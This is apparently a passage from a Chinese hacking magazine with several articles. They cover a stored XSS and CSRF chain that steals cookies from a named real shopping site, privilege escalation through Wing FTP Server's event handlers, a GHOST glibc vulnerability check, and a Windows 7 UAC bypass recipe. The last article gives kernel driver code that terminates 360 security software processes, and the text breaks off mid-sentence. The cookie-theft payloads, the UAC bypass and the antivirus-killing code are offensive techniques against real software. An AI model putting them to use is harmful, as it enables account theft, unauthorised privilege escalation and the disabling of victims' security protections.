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双管齐下窃取曲奇客购物网站的用户账户 

文/图 宗旋 

 曲奇客（www.quqike.com），是国内首家针对高校学生的导购平台，此网站账户与教育

网高清云窗视频系统是同步的，可以直接登录。此网站是一个基于 ASP 脚本编写的导购以及

积分兑换网站平台。曾经我发现此网站存在可以直接通过元素修改进行无限制礼品兑换漏

洞，此次再次造访此网站进行友好测试，发现不少漏洞和代码编写问题，这些问题在我最近

的渗透中多次发现，创新工场下的购物网站也有类似问题，感觉比较有意义，特此写成文字，

进行分析与总结。 

 此网站从外观看相比于其他购物网站并没有特别的差异，映入眼帘的即是商品推荐。我

是一个来找茬的，基本上不会欣赏商品，而是直接注册登录，登录处就有 bug，对于输入的

密码直接显示正确与否，可以爆破利用，下一行的验证码名存实亡，这里不是重点，我觉得

爆破是运气加耐力，所以不算漏洞。登录进去，直接找到个人资料处，只有此处可以填写额

外代码，经过测试发现收获地址处存在存储型 XSS 漏洞，如图 1，在街道地址处直接填写 xss

测试代码，点击保存，cookie 成功弹出。 

 代码为：<script>alert(document.cookie)</script> 

 

图 1 

 弹出 cookie 窗口可以看到字段 quqiPwd，此字符串经过 MD5 解密，发现正是密码，cookie

还存在有账户名 quqiUser，即邮箱地址。此时，敏锐的嗅觉让我感觉到此处漏洞已经形成。 
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图 2 

 很多 web 开发者认为收货地址是手动填写，忽略了对 XSS 的过滤。漏洞既然形成，那

么接下来需要加以利用，否则这个漏洞就是 NULL，无任何用处。很明显，只有 CSRF 可以达

到写入 XSS 代码的目的。收货地址处，数据提交没有任何额外验证数据，我直接写如下 html

代码（网页名称 test.html），进行数据的 POST 提交。 

 

图 3 

 触发网页提交失败，看来开发者在 CSRF 上还是花了功夫的，我并没有气馁，继续测试，

利用 burpsuite 先从 HTTP 参数 Origin 开始，发现无影响；Referer 有影响，无法成功提交。

基本上算是失败了，用户的 Referer 无法修改。脑子一定要转得快，这里也将是我认为最有

意义的地方，发现网站开发人员并没有验证完整的 Referer，而是只验证了提交页面。 

 正确的 Referer: http://www.quqike.com/user_center.asp 

 错误的 Referer: http://localhost/test.html 

 正确的 Referer: http://localhost/user_center.asp 

 这里也应了一个词语，坚持不懈。既然这样就方便了很多，将 test.html 直接改成

user_center.asp 运行在 IIS+ASP 环境下，显示成功。但是 alert(document.cookie)被过滤掉了。

很 奇 怪 ， 手 动 添 加 不 会 被 过 滤 ， 表 单 提 交 就 被 过 滤 掉 。 将 代 码 写 成

<script>a=1;alert(document.cookie);</script>即可成功，弹出 cookie。另外，将代码写成

<script>document.write(document.cookie);</script>，看到如下图 4 效果，将 SRC 引入即可将
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cookie 偷走。 

 

图 4 

漏洞修补办法 

1）验证完整的 Referer，不能局部认证。 

2）需要在输入框中过滤 js 代码，不能只进行简单过滤。 

3）在数据提交的时候要多判断几个 HTTP 参数，保证万无一失。 

                                                                                  

渗透提权别忘了 Wing FTP Server 

文/图 爱无言 

 “提权”这个事情一直是渗透测试中的重点关注对象，从原理上进行区分的话，“提权”

工作主要借助于操作系统本身的安全漏洞和第三方软件的安全漏洞，这其中第三方软件常常

涉及到杀毒、防火墙、输入法、服务器类软件。谈到服务器类软件，在以往曝光的安全漏洞

中，Serv-U 的提权漏洞可谓人人皆知，不知道多少服务器都是被这个提权漏洞沦陷的。

Serv-U 是一款 FTP 服务软件，同样我们今天接触到的这款名为“Wing FTP Server”的软件

也是一款 FTP 服务软件。 

 “Wing FTP Server”在国内的名气也许并不高，但是在国外的服务器上会经常遇见，

它支持多种模式下的 FTP 服务：传统的 21 端口 FTP 服务、80 端口的 Web 式 FTP 服务，还有

FTPES、FTPS、HTTPS、SSH 等。如此丰富的功能，当然深受用户的喜爱。“Wing FTP Server”

的安装十分简单，安装完后提供了 Web 式的管理界面，如图 1 所示。 
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图 1 

 初次登陆“Wing FTP Server”的管理界面，它会要求你设置 Domain（域）、为新域建

立 FTP 用户、设置用户访问目录。简单的设置完成后，你就可以使用了。这里我们新建了一

个名为“test”的域，新建了一个名为“test”密码为“123456”的用户。 

 在安装“Wing FTP Server”过程中，我想起来它默认是将自己注册为一个系统服务，

也就是说“Wing FTP Server”进程具有 SYSTEM 权限。为什么想到这个？因为我在一次渗透

测试中需要进行提权，而可参考的信息中只有“Wing FTP Server”的管理员密码账号。这

就使得我不得不思考，能不能借助“Wing FTP Server”进行一下提权。 

 遍历了一下“Wing FTP Server”管理界面中的所有功能，我们的目光集中到了一个名

为“事件管理器”的功能上，如图 2 所示。 

 

图 2 

 从图 2 中我们看到在“事件”一栏中有很多以“On”开头的函数名，这使得我们想到网

页开发中的触发函数，也就是当某种动作发生时，就会执行某个“On”函数。以此类推，

“OnUserLoggedIn”函数就是当用户成功登陆系统后所要执行的函数，那么它可以执行哪些
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具体动作呢？ 

 

图 3 

 双击“OnUserLoggedIn”会出现图 3 的界面，在这个界面中我们发现“Wing FTP Server”

事件处理函数允许我们干很多事情，例如执行程序、写入日志、发送邮件、执行 Lua 脚本。

如此丰富的功能，其目的就是为了方便 FTP 管理人员，假设某个用户发送了邮件，借助事件

处理函数，可以设定一个“发送邮件”，提醒管理员某个用户的邮件成功发送了。这是人性

化软件设计的体现，但是这也意味着安全漏洞的发生。既然“Wing FTP Server”事件处理

函数允许我们在事件发生后执行程序，而“Wing FTP Server”的进程又是以 SYSTEM 权限运

行，那不就可以直接借此机会提权了吗？废话不多，直接测试效果看看。这里设定用户成功

登陆系统后，借助“OnUserLoggedIn”函数执行系统中的记事本程序即“NOTEPAD.EXE”。现

在利用一个已知的 FTP 用户登陆系统，我们远程查看服务器上进程会发现令人惊喜的事情，

如图 4 所示。 

 

图 4 
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 是不是很酷！“NOTEPAD.EXE”进程不但被成功执行，而且就是“SYSTEM”权限，提权成

功！  

 在兴奋的同时，我还想告诉大家的是，“Wing FTP Server”支持一种叫做“Lua”的脚

本语言，这是作者设计的一种脚本化语言，利用它可以干很多事情，例如执行命令、写入木

马病毒程序或者远程下载等等，这下我想渗透工作会更爽了，不是吗？ 

 最后，本文旨在讨论安全技术，请不要使用本文技术进行任何违法行为，作者和杂志概

不负责。 

                                                                                  

Linux glibc 幽灵漏洞测试 

文/图 simeon 

2015 年 1 月 28 日，互联网上爆出 Linux glibc 幽灵漏洞（glibc gethostbyname buffer 

overflow，http://seclists.org/oss-sec/2015/q1/274），也有人将其称之为“20150127 GHOST 

gethostbyname() heap overflow in glibc”，在 CVE 上的漏洞编号是 CVE-2015-0235。攻击者可

利用此漏洞实施远程攻击，并完全控制目标系统。 

glibc 是 GNU 发布的 libc 库，即 c 运行库。glibc 是 linux 系统中最底层的 api，几乎其它

任何运行库都会依赖于 glibc。glibc 除了封装 linux 操作系统所提供的系统服务外，它本身也

提供了许多其它一些必要功能服务的实现。glibc 囊括了几乎所有的 UNIX 通行的标准。 

国外安全研究人员发现，glibc 的__nss_hostname_digits_dots()函数有缓冲区溢出漏洞。

这一漏洞既可以本地利用，也可以远程利用。研究人员对漏洞进行了测试验证：向目标邮件

服务器发送特别构造的邮件，从而获得了远程登录 Linxu 系统的 shell 脚本。通过这种方式可

以绕过 32 位和 64 位系统上的所有现存保护机制（比如 SSLR、PIE 和 NX）。 

受 glibc-2.2 影响的 GNU C 函数最早版本是在 2000 年 11 月发布的。这一漏洞曾在 2013

年 5 月被修补（在 glibc-2.17 和 glibc-2.18 版本之间）。但由于当时并没有被认定为安全威胁，

包括 Debian 7、Red Hat Enterprise Linux 6 & 7、 CentOS 5&6 & 7 和 Ubuntu 12.04 在内的多数

知名 Linux 版本在长达一年半的时间都没有修补幽灵漏洞，经测试以下版本均存在漏洞： 

 RHEL (Red Hat Enterprise Linux) version 5.x, 6.x, 7.x  

 CentOS Linux 5.x, 6.x & 7.x  

 Ubuntu Linux version 10.04, 12.04 LTS 

 Debian Linux version 7.x 

 Linux Mint version 13.0  

 Fedora Linux version 19 y anteriores  

 SUSE Linux Enterprise 11 y anteriores  

 Arch Linux glibc version <= 2.18-1  

Linux glibc 幽灵漏洞最容易的攻击入口是邮件服务器，和存在 SSRF（Server-side Request 

Forgery）漏洞的 WEB 接口。值得庆幸的是，此漏洞目前还没有公开通用的攻击代码，这也

给了服务器管理员们及时安装补丁的宝贵时间。 

 

Linux glibc 幽灵漏洞测试方法 

1. Ubuntu & Debian 检查 

ldd –version 

（1）Ubuntu 受影响版本（https://launchpad.net/ubuntu/+source/eglibc）： 
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Ubuntu 12.04 LTS: 2.15-0ubuntu10.10 

Ubuntu 10.04 LTS: 2.11.1-0ubuntu7.20 

（2）Debian gibc 受影响版本（https://security-tracker.debian.org/tracker/CVE-2015-0235），

Debian 7 LTS: 2.13-38+deb7u7 等 

eglibc (PTS) squeeze 2.11.3-4 vulnerable 

eglibc wheezy 2.13-38+deb7u6 vulnerable 

Debian gibc 已经修复版本： 

squeeze (lts) 2.11.3-4+deb6u4  

wheezy (security) 2.13-38+deb7u7  

2. CentOS & RHEL 检查 

在 centos 上执行“rpm -q glibc”命令，如图 1 所示，显示 glibc 的版本信息为

glibc-2.5-118.el5_10.2。 

 

图 1 centos glibc 版本信息 

受影响版本： 

CentOS 5:glibc-2.5-118.el5_10.2 

CentOS 6: glibc-2.12-1.149.el6_6.5 

CentOS 7: glibc-2.17-55.el7_0.5 

RHEL 5: glibc-2.5-123.el5_11.1 

RHEL 6: glibc-2.12-1.149.el6_6.5 

RHEL 7: glibc-2.17-55.el7_0.5 

查看 RHEL 各个版本更多有关该漏洞的信息请访问： 

https://security-tracker.debian.org/tracker/CVE-2015-0235 

 

3.POC 验证测试 

把下面的代码保存为 ghost.c，或者 wget http://www.antian365.com/lab/linux0day/ghost.c。 

 

/* 

 * GHOST vulnerability check 

 * http://www.antian365.com/lab/linux0day/ghost.c 

 * Usage: gcc ghost.c -o ghost && ./ ghost 
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 */  

  

#include <netdb.h> 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <errno.h> 

 

#define CANARY "in_the_coal_mine" 

 

struct { 

  char buffer[1024]; 

  char canary[sizeof(CANARY)]; 

} temp = { "buffer", CANARY }; 

 

int main(void) { 

  struct hostent resbuf; 

  struct hostent *result; 

  int herrno; 

  int retval; 

 

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ 

  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; 

  char name[sizeof(temp.buffer)]; 

  memset(name, '0', len); 

  name[len] = '\0'; 

 

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, 

&herrno); 

 

  if (strcmp(temp.canary, CANARY) != 0) { 

    puts("vulnerable"); 

    exit(EXIT_SUCCESS); 

  } 

  if (retval == ERANGE) { 

    puts("not vulnerable"); 

    exit(EXIT_SUCCESS); 

  } 

  puts("should not happen"); 

  exit(EXIT_FAILURE); 

} 

 

    直接编译并执行：gcc ghost.c -o ghost && ./ghost，如果存在漏洞则会显示“vulnerable”，

如图 2 所示。 
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图 2 poc 测试是否存在漏洞 

 也可以执行下面的命令，以检测是否存在漏洞。 

方法一： 

rpm -q glibc 

cat /etc/issue 

wget http://www.antian365.com/lab/linux0day/ghost.c 

gcc ghost.c -o ghost && ./ghost 

方法二：直接显示 glibc 的版本信息。 

wget -O GHOST-test.sh http://www.antian365.com/lab/linux0day/GHOST-test.sh.txt 

bash GHOST-test.sh 

显示结果如下： 

Vulnerable glibc version <= 2.17-54 

Vulnerable glibc version <= 2.5-122 

Vulnerable glibc version <= 2.12-1.148 

Detected glibc version 2.5 revision 118 

This system is vulnerable to CVE-2015-0235. 

<https://access.redhat.com/security/cve/CVE-2015-0235> 

Please refer to <https://access.redhat.com/articles/1332213> for remediation steps 

 

修复方法 

1. Ubuntu/Debian 

在 Ubuntu/Debian 上执行以下命令进行修复，修复后需要重启。 

apt-get update && apt-get -y install libc6 

2.Centos 

在 Centos 上执行“yum update glibc”后会有一个确认，输入“y”，大概会下载 6 个安装

包，安装完成后需要重启计算机。 

 

（完） 
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Windows7 默认环境绕过 UAC 

文/图 大象装冰箱 

在 Win7 默认配置环境下，UAC 处于第二级，如图 1 所示，在此级别下，用户对一个程

序点击鼠标右键“以管理员身份运行”，是会触发 UAC 拦截弹窗的，也就是需要经过用户的

确认才能以完整特权的管理员权限运行。 

 

图 1 

不过，我们用过一段时间后就会发现，用户打开一些操作系统自身的程序时，也是完整

特权的，但它们启动的时候并没有触发 UAC 弹窗！最典型的就是任务管理器 taskmgr.exe，

我们即使对任务管理器的 taskmgr.exe 文件点击鼠标右键“以管理员身份运行”也不会触发

UAC 弹窗。 

由此得到启发：有没有一个特殊的不会 UAC 弹窗的系统程序在启动的时候是我们可以利

用的（比如通过类似 dll 劫持之类的方式，让我们有机会控制它的运行）？顺着这个我们还

要问：系统中到底有多少个特殊程序在用户双击运行它们后是完整特权，而且不会触发 UAC

弹窗的？ 

操作系统中有成百上千个可执行程序，难道我们要一个个右键点过去？ 

经研究（http://en.wikipedia.org/wiki/User_Account_Control），点击鼠标右键“以

管理员身份运行”运行一个程序，是通过类似下面的代码实现的： 

 

ShellExecute(hwnd, "runas", "C:\\Windows\\Notepad.exe", 0, 0, SW_SHOWNORMAL); 

 

它和普通的 ShellExecute 执行程序不同的地方在于第二个参数“runas”，在 Vista 及

以后的系统中它能触发 UAC 弹窗（如果不是特殊程序的话）。 

OK，搞清楚了这一点，那么我们要找出有多少个不会触发 UAC 弹窗的特殊程序就 easy

了：编写一个遍历 C 盘的测试程序，然后对每个可执行文件调用上述传 runas 参数的

ShellExecute 函数，根据 ShellExecute 函数的返回值判断是否是特殊程序。 

原理已经明了，这里省略具体代码实现了，我们直奔下面主题。 

经测试，Win7 下输出了一堆不会触发 UAC 弹窗的特殊程序。一眼扫过去，在一堆输出

结果中有一个程序让人眼前一亮：C:\Windows\system32\InfDefaultInstall.exe，根据文

件名猜想：这是一个 inf 安装程序。我们知道，inf 一般都是用于驱动程序安装的，inf 文
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件中可以编辑很多“指令”，是可以做很多事情的，比如操作注册表、服务、文件等。有关

inf 文 件 指 令 的 详 细 介 绍 请 参 考 WDK 文 档 ：

https://msdn.microsoft.com/en-us/library/windows/hardware/ff547388(v=vs.85).asp

x。 

接下来，我们随便找个驱动的 inf 文件，通过鼠标右键点击 inf 文件的“安装”来验证

我们的猜想，看看 inf 文件安装时是否会调用这个 InfDefaultInstall.exe，如果会又是以

何种调用法实现。 

通过 SysInternals 工具箱中的 Process Monitor 程序，我们完成整个 inf 文件安装过

程的监控分析，验证了之前的猜想，概括出来就是：InfDefaultInstall.exe 会以完整特权

运行，并且接收一个 inf 文件路径参数，执行 inf 文件里头的“指令”。 

这就好办了！我们可以自拟一个 inf 文件，里面写上实现自己意图的指令，比如加载一

个我们的 dll，在 dll 里执行指定程序，就可以搭上 InfDefaultInstall.exe 的便车，自动

以完整特权运行，绕过 UAC 的弹窗拦截。 

OK，整理下思路： 

1. 制作一个 inf，如 BypassUAC.inf，里面有注册指定 dll 的指令； 

2. 制作一个dll，如BypassUAC.dll，在dllmain中单纯执行一个其他程序，如cmd.exe，

然后强制退出进程； 

3. 制作一个 exe，如 BypassUAC.exe：用 runas 参数的 ShellExecute 运行

InfDefaultInstall.exe，并且给 InfDefaultInstall.exe 附带 BypassUAC.inf 文

件路径参数。 

4. 双击 BypassUAC.exe 触发。 

BypassUAC.exe 关键代码如图 2 所示。 

 

图 2 

BypassUAC.inf 文件内容如图 3 所示。 

 

图 3 

BypassUAC.dll 关键代码如图 4 所示。 
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图 4 

图 5 是实测效果，右上的 cmd 是默认双击打开的无完整特权的，左下是双击

BypassUAC.exe 后弹出的不触发 UAC 弹窗的具有完整特权的 cmd。 

测试环境： 

操作系统：Windows 7 Ultimate SP1 x64，全新安装+全补丁 

当前用户：test，隶属于 administrators 组 

UAC：默认级别 

 

图 5 

                                                                                    

再谈对抗 360 安全卫士 

文/图 弭相辰 

继去年笔者在《黑客防线》杂志上发表几篇文章之后，这段时间除了繁忙的日常事务之

外，又阅读了诸多黑防高手们的文章。随着学习研究的深入，更加深切的体会到自己在技术

方面的匮乏。于是，我便再次以 360 安全卫士（在 x86/x64 的 Windows7 系统上）为研究对

象，将自己最近一个时期学习的知识融入其中，以不同的几种方式来对抗 360，写出来和大

家分享一下。笔者的目的不在于说用几种方式杀掉 360 的进程，而是在于和广大读者一起讨

论 Windows 内核知识，与大家共同进步。 

 

恢复 Inline Hook KiFastCallEntry 法 

在 2014 年第 5、6 期黑防杂志上，笔者分析了恢复 Inline Hook KiFastCallEntry 来对抗腾

讯电脑管家、360 安全卫士的方法，就程序本身来说，还是比较好理解的，并且也已提供给
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大家，在这里便不再赘述了。但当时只是对程序做出了分析，并没有讨论为什么这样做可以

结束 360 进程，这里顺便说一下。 

对于常见的 Ring3 层的病毒，可以使用 OpenProcess 与 TerminateProcess 的组合来干掉

病毒进程，但是想要这么干掉 360 的进程，显然是行不通的。这里以 TerminateProcess 为例，

分析一下它的执行过程。此 API 实际上是位于 kernel32.dll 模块中，然后又进一步调用 ntdll.dll

模块中的 NtTerminateProcess 函数，该函数是一个存根函数，它通过 ntdll.dll 中的

KiFastSystemCall 来执行 SYSENTER 指令，然后进入了 Ring0 层，通过系统服务号来查找调用

原生的（nt！）NtTerminateProcess 例程，从而结束指定进程。 

然而，现实情况是，360 安全卫士做了一个 Inline Hook KiFastCallEntry，劫持了正常的系

统调用，当 360 的 NtTerminateProcess 发现结束的是自己的进程时，必然会拒绝。这种方法

与传统的 Hook SSDT 相比，更具有隐蔽性，所以我之前说更不容易发现 360Hook 了哪些函数。

另一个好处是，让一些试图恢复 SSDT 来攻击安全软件的 Rootkit 失去了作用。如图 1 所示，

用 PCHunter 发现的“从 int2e/sysenter 到 ssdt 表路径上检测到钩子”。可惜的是，钩子并无

保护，被恢复之后，我们便可以“任性”的在任务管理器中结束所有 360 的进程，这正是恢

复系统原始调用的最好诠释。图 2 形象的说明了这个过程。 

 

图 1 

 
图 2 
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进程线程法 

先来看一张 Windows 内核空间概念图，如图 3 所示。 

 

图 3 

这里插一段题外话，相信很多人在初学时都和我一样，有这样的困惑:为什么同样名字

的函数，如 TerminateProcess，会有 Zw 和 Nt 两个版本呢?让我们直接反汇编来解答这个问题。 

kd> u ZwTerminateProcess 

nt!ZwTerminateProcess: 

83e4e43c b872010000      mov     eax,172h 

83e4e441 8d542404        lea     edx,[esp+4] 

83e4e445 9c              pushfd 

83e4e446 6a08            push    8 

83e4e448 e8a10b0000      call    nt!KiSystemService (83e4efee) 

83e4e44d c20800          ret     8 

kd> u NtTerminateProcess l80 

nt!NtTerminateProcess: 

8406d9bf 8bff            mov     edi,edi 

8406d9c1 55              push    ebp 

8406d9c2 8bec            mov     ebp,esp 

8406d9c4 83ec10          sub     esp,10h 

8406d9c7 53              push    ebx 

8406d9c8 56              push    esi 

8406d9c9 648b3524010000  mov     esi,dword ptr fs:[124h] 

8406d9d0 8b5e50          mov     ebx,dword ptr [esi+50h] 

8406d9d3 8a863a010000    mov     al,byte ptr [esi+13Ah] 
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……                      …… 

    总的来说，Zw*()是将系统服务号传递给 eax，经过一系列操作，通过 KiSystemService

例程来实现系统调用，这是合乎微软规定的一个过程；而 Nt*()则没有这个过程，是直接转

移到系统调用，并实现了具体的功能，更详细来说，NtTerminateProcess 调用了

PspTerminateThreadByPointer 等更加底层的 API。 

 

 我们可以看到，在系统调用以下，有许多的管理器，其中包含大量的实现关键功能的

API，尽管它们很多都是未文档化的，但我们只要使用合理，便可以绕过 360 的 Hook，在不

恢复 Hook 的情况下杀掉 360 进程。  

既然是杀掉进程，我们自然将目光放到 Ps*()例程中。刚才我们提到，直接调用

NtTerminateProcess 肯定是不可行的，那么首选的函数应该是 PsTerminateProcess，其定义如

下，非常的简单： 

PsTerminateProcess(IN PEPROCESS Process, IN NTSTATUS ExitStatus); 

在 XP 系统中，PsTerminateProcess 直接调用 PspTerminateProcess 去实现具体功能；而在

Windows7 系统中没有发现 PspTerminateProcess 函数，而是直接在 PsTerminateProcess 中实

现了具体的功能，调用了 PspTerminateAllThreads，顾名思义，结束进程的方法正是杀掉所有

线程。为获得 PsTerminateProcess 第一个参数，需进行以下讨论。 

在图 3 中我们看到的 Hal（硬件抽象层）位于硬件之上，作用是屏蔽硬件的差别；Hal

之上即为内核模块 ntoskrnl，它的上层部分称为执行体，负责管理与策略相关的功能，进程

与线程在执行体上的数据结构是 EPROCESS 与 ETHREAD；下层部分称为微内核，主要实现了

操作系统的核心机制，进程与线程在微内核上的数据结构是 KPROCESS 与 KTHREAD。 

查看一下 Win7 系统上的 EPROCESS 结构体中对我们有用的部分： 

kd> dt nt!_EPROCESS 

+0x000 Pcb              : _KPROCESS//指向 KPROCESS 

……                     …… 

+0x0b4 UniqueProcessId  : Ptr32 Void//进程 ID 

+0x0b8 ActiveProcessLinks : _LIST_ENTRY//进程链表 

……                     …… 

+0x16c ImageFileName    : [15] UChar//进程名 

+0x188 ThreadListHead   : _LIST_ENTRY//线程链表 

这四个结构体都是十分复杂的，大家可以自己去调试，这里我们的目的是通过 360 的进

程名获得 PID，程序可以是这样的： 

NTSTATUS Get360pid(UCHAR* uname) 

{ 

    PEPROCESS pEprocess = NULL; 

    PEPROCESS pFirstEprocess = NULL; 

    ULONG ulProcessName = 0; 

    ULONG ulProcessId = 0; 

    int objectpid; 

    pEprocess = PsGetCurrentProcess();//获得 EPROCESS 

    pFirstEprocess = pEprocess; 

    while ( pEprocess != NULL ) 

    { 

        ulProcessName = (ULONG)pEprocess + 0x16c;//获得进程名 
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        ulProcessId = *(ULONG *)((ULONG)pEprocess + 0xb4); //获得 PID 

        if(strstr(ulProcessName,uname))//匹配 360 进程名 

       { 

         objectpid=ulProcessId;//获得 360PID 

       } 

        pEprocess = (ULONG)(*(ULONG *)((ULONG)pEprocess + 0xb8) - 0xb8);//遍历进程

链表 

         if ( pEprocess == pFirstEprocess || (*(LONG *)((LONG)pEprocess + 0xb4)) < 0 ) 

        { 

            break ; 

        } 

   } 

        return objectpid; 

} 

接下来这样： 

NTSTATUS KillByPid(IN ULONG pid) 

{ 

 NTSTATUS st = STATUS_SUCCESS; 

 PEPROCESS eprocess = NULL; 

 NTSTATUS ExitStatus=0; 

    st = PsLookupProcessByProcessId(pid,&eprocess); 

 ObDereferenceObject(eprocess); 

 st = PsTerminateProcess(eprocess,ExitStatus); 

    return st; 

} 

在 DriverEntry 中调用： 

KillByPid(Get360pid("360Tray")); 

KillByPid(Get360pid("360sd")); 

KillByPid(Get360pid("ZhuDongFangYu")); 

KillByPid(Get360pid("360rp")); 

KillByPid(Get360pid("PCHunter")); 

这里不得不提到 Windows 句柄与对象机制。有一个被称为 Cid 句柄表的概念，Cid 句柄

表没有加入到系统的句柄表链表中，它保存了进程与线程的对象地址，我们知道的

PsLookupProcessByProcessId、PsLookupThreadByThreadId 等函数正是利用 Cid 句柄表这一机

制，通过传入的 PID 来获得相应对象的地址，而对象又有一个引用计数的问题，刚才打开了

一个对象，然后就要调用 ObDereferenceObject 减去这个计数。 

为什么要尝试一下 PCHunter 呢？图 4 为 360 的 Inline Hook KiFastCallEntry 与 PCHunter

的 Inline Hook NtTerminateProcess、Inline Hook NtTerminateThread。PCHunter 采用了 Inline 

Hook NtTerminateProcess 与 NtTerminateThread 保护进程，看来 PsTerminateProcess 也可以躲

过这个钩子。但对 360 这个装机量巨大的安全软件来说，在系统调用以下，似乎未做任何处

理，被这样一个简单程序结束进程，这种情形还是有些欠妥的，由于加载驱动后瞬间结束进

程，故无法截图验证。但笔者希望我们不要到这里浅尝辄止，下面和大家继续探索。 
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图 4 

由于 PspTerminateAllThreads 是基于 PspTerminateThreadByPointer 实现的，我们重点看

PspTerminateThreadByPointer 的功能。 

kd> u PspTerminateThreadByPointer l80 

nt!PspTerminateThreadByPointer: 

//是当前线程 

84066040 ff750c          push    dword ptr [ebp+0Ch] 

84066043 e842a00100      call    nt!PspExitThread (8408008a) 

//不是当前线程 

84066090 687b400984      push    offset nt!PspExitNormalApc (8409407b) 

84066095 685e400984      push    offset nt!PspExitApcRundown (8409405e) 

8406609a 682f400984      push    offset nt!PsExitSpecialApc (8409402f) 

8406609f 53              push    ebx 

840660a0 ff7508          push    dword ptr [ebp+8] 

840660a3 56              push    esi 

840660a4 e84a0de6ff      call    nt!KeInitializeApc (83ec6df3)//初始化 Apc 

840660a9 6a02            push    2 

840660ab 53              push    ebx 

840660ac 56              push    esi 

840660ad 56              push    esi 

840660ae e86367e6ff      call    nt!KeInsertQueueApc (83ecc816)//插入 Apc 

……                     …… 

PspTerminateThreadByPointer 先判断如果是当前线程，调用 PspExitThread 结束线程；如

果不是当前线程，则由 KeInsertQueueApc 插入 Apc，插入的是 PsExitSpecialApc 、

PspExitApcRundown 、PspExitNormalApc，最后仍然调用 PspExitThread 达到目的。其后仍然

是一个非常复杂的过程，简要的说，PspExitThread 要处理该线程相关的跨线程引用、线程定

时器、Apc、清除地址空间等等工作，再调用 KeTerminateThread 函数，涉及了线程调度的概

念，再调用 KiSwapThread 函数，KiSwapThread 交出线程控制权，并且再也不会得到控制权，
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因此，KeTerminateThread 永不返回，PspExitThread 也不返回，线程调度器再也不会调用这

个线程了，可以说自此这一线程真正终止了。 

还记得以前看黑防高手们的文章，往往只说一句“插 Apc”，然后就是一堆代码，让当

时的我不明就里，所以我希望搞清楚为何插入 Apc 能结束线程。 

要从中断说起，中断描述符表（IDT）是将每个中断与处理该中断的服务例程关联了起

来，它们主要是处理与硬件相关的内容。此外，Windows 定义了一个中断请求级别（IRQL），

如表 1 所示。 

IRQL 名称 IRQL 作用 IRQL 等级 

HIGH_LEVEL（高）                   硬件中断 31 

POWER_LEVEL（电源）               硬件中断 30 

IPI_LEVEL（处理器间中断）           硬件中断 29 

CLOCK_LEVEL（时钟）                硬件中断 28 

PROFILE_LEVEL（性能剖析）          硬件中断 27 

DIRQL（设备）                      硬件中断 26 

…… 硬件中断 …… 

DIRQL（设备）                       硬件中断 3 

DISPATCH_LEVEL（线程调度）          系统调度和 DPC 2 

APC_LEVEL（异步过程）               异步过程 1 

PASSIVE_LEVEL（被动）                    普通程序执行 0 

表 1 

IRQL 有 0-31 个级别，数值越大，优先级越高。普通线程运行在 PASSIVE_LEVEL 级别，

APC_LEVEL 仅比 PASSIVE_LEVEL 级别高，因此，插入 Apc 可以结束掉线程。运行在

DISPATCH_LEVEL 的代码，有可能进行线程调度（比如 KiSwapThread），也有可能是 Dpc（比

如定时器，以前讨论过监视 Hook 是否被恢复）。3-31 涉及硬件中断，不再讨论。 

另一个实际应用是，在 Hook 中使用 KeRaiseIrqlToDpcLevel()将 IRQL 提升到

DISPATCH_LEVEL 可以防止被其他线程打断造成 BSoD，但只适用于单核 CPU；在多核 CPU 上，

可以使用自旋锁，使其他处理器总是在“空转”，检查自旋锁的状态，直到该锁被释放。自

旋锁总是运行在 DISPATCH_LEVEL 或更高的级别。伪代码如下： 

KeInitializeSpinLock(&spinlock);//初始化自旋锁 

KeAcquireSpinLock(&spinlock,&oldirql);//获得自旋锁 

WPOFF();//关闭写保护 

Hook(); 

WPON();//打开写保护 

KeReleaseSpinLock(&spinlock, oldirql);//释放自旋锁 

总之，要想实现自己的 MyPsTerminateProcess，应当利用 PsLookupProcessByProcessId 获

得的进程 eprocess，遍历进程所有线程（可以用 PsGetNextProcessThread，也可以用上面提

到的 ThreadListHead），把每个线程都用 PspTerminateThreadByPointer 来结束掉。要想实现自

己的 MyPspTerminateThreadByPointer，就应该对每个线程都插入一个 Apc，从而结束掉所有

线程，也就达到了杀掉进程的目的。 

 

内存法 

创建新进程时一个很重要的工作就是创建地址空间，PspCreateProcess 先调用

MmCreateProcessAddressSpace 创建进程地址空间，再调用 MmInitializeProcessAddressSpace
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来初始化地址空间，我们需要关注的一个重要过程是在新进程中映射内存区对象。

MmCreateSection 函数可以创建一个内存区对象，但为了可以使用该对象，必须将其映射视

图，在系统服务例程中由 NtMapViewOfSection 来执行，在内存管理器 Mm*()中对应的例程

是 MmMapViewOfSection。相反的，有一个解除映射的过程，

NtUnMapViewOfSection/MmUnMapViewOfSection 皆调用 MiUnMapViewOfSection 来实现具

体的功能。这里，假设我们可以解除某进程的内存区对象映射视图，那么就可以达到干掉

进程的目的。请看代码： 

NTSTATUS KillByPid(int pid) 

{ 

    NTSTATUS st; 

       PVOID p = (PVOID)0x400000; 

       PEPROCESS eprocess = NULL; 

       st = PsLookupProcessByProcessId(pid,&eprocess); 

    ObDereferenceObject(eprocess); 

    st = MiUnmapViewOfSection(eprocess,p,0); 

    return st; 

} 

与上面的代码相同，在 DriverEntry 中调用 KillByPid()，其中调用 Get360pid()来获得 360

进程 ID，只是在 KillByPid()中换成了 MiUnmapViewOfSection 来达到目的。其中，

PsTerminateProcess 与 MiUnmapViewOfSection 皆未导出，我们可以学习黑防高手的搜索特征

码的方法，但我们这里只研究 Windows7 系统，为了实用与简化，在程序中都是用“已导出

API+偏移”的方法，区别于直接硬编码，这种方法虽然技术含量不高，但可以适用于所有运

行着 Windows7 系统的电脑。还有，在列出的程序中省掉了一些非必需的步骤，详见给出的

代码。图 5 为运行本程序后 360 杀毒的报错。 

 
图 5 

 

关于 Windows7 x64 上的 360 安全卫士 

提到 Win64 的内核，PatchGuard 是一个绕不开的话题。大约自从 Windows Vista（64 位）

系统开始，为了保证系统的安全性，引入了这一机制，使得我们自己编写的驱动不能再顺利
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的加载在内核当中。即使像 360 这样的安全公司花钱向微软购买了签名，其编写的驱动也不

能再像 x86 系统那样进行内核 Hook 了。 

但是这一切似乎难不倒黑客高手，援引国外高手的破解思路，突破 PatchGuard 需要修

改 winload.exe 与 ntoskrnl.exe，具体的不细说了，总体思路就是把有关数字签名校验机制与

